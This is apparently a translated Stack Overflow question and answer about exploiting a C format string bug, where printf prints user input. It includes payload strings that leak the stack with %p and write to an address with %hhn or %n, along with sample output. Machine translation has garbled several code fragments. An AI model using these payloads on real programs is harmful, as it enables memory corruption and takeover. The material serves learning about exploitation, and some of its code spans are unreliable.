C sprintf利用(格式化攻击)

时间:2018-12-12 15:40:53

标签: c printf exploit

我想使用格式字符串利用(特别是sprintf)将整数1写入地址0x08049940

这是函数的外观

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

我尝试了多个教程,但是我相信它们不起作用,因为我的字符串已经以“ Hello”开头。因此,我尝试使用输入内容开始写得更低

  

%。1%n \ x39 \ x99 \ x04 \ x08

低7个值,以及原始地址附近的其他地址。但是我的gdb调试器不断告诉我,0x08049940上的地址仍然是代码中指定的默认地址。

1 个答案:

答案 0 :(得分:1)

您不会利用sprintf进行格式字符串攻击,而是稍后进行printf调用。

如果您可以观察到输出,则利用它非常容易。您可以使用足够的%p%x来构造字符串,而不是直接利用漏洞,直到看到所需的字节为止。例如,此程序对我有用:

#include <stdio.h>

void greet(char *s) {
   char buf[666];
   sprintf(buf, "Hello %s!\n", s);
   printf(buf);
}

int main(void) {
    greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
          "%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}

我用gcc -m32编译并运行,输出为

Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!

现在我们看到了0x04030201,我们可以将最后的%0#p更改为%hhn,以在地址中写入一个 byte 或{{1} }表示%hn,或short表示%n。此数字是到目前为止写入的字符数,已转换为intcharshort

当我们知道地址在堆栈中的位置时,我们可以将每个int更改为%p,并且我们知道该地址将只消耗一个字符,从而更好地控制了所得的数字。 / p>

开始时%c有点松弛-可以用来更改其中一次转换的精度,以根据需要更改容易写入的字符数(例如,如果结果数字 123 太低,可以通过打印一个字符来扩展 124 字符字段宽度:a);可以通过从提示中删除3个a来抵消count的增加。

同样可以使用%124c进行验证:

%0#p

我们得到:

greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");

最后,我们仅将Hello aaa ���X0x565e46fc�la1%%%%%%%%%%%%0x4030201! 替换为%0#p,然后就会发现魔术。

要证明它确实在写地址0x04030201,可以使用gdb to find out the address that caused the violation

%hhn

其余的作为练习留给读者...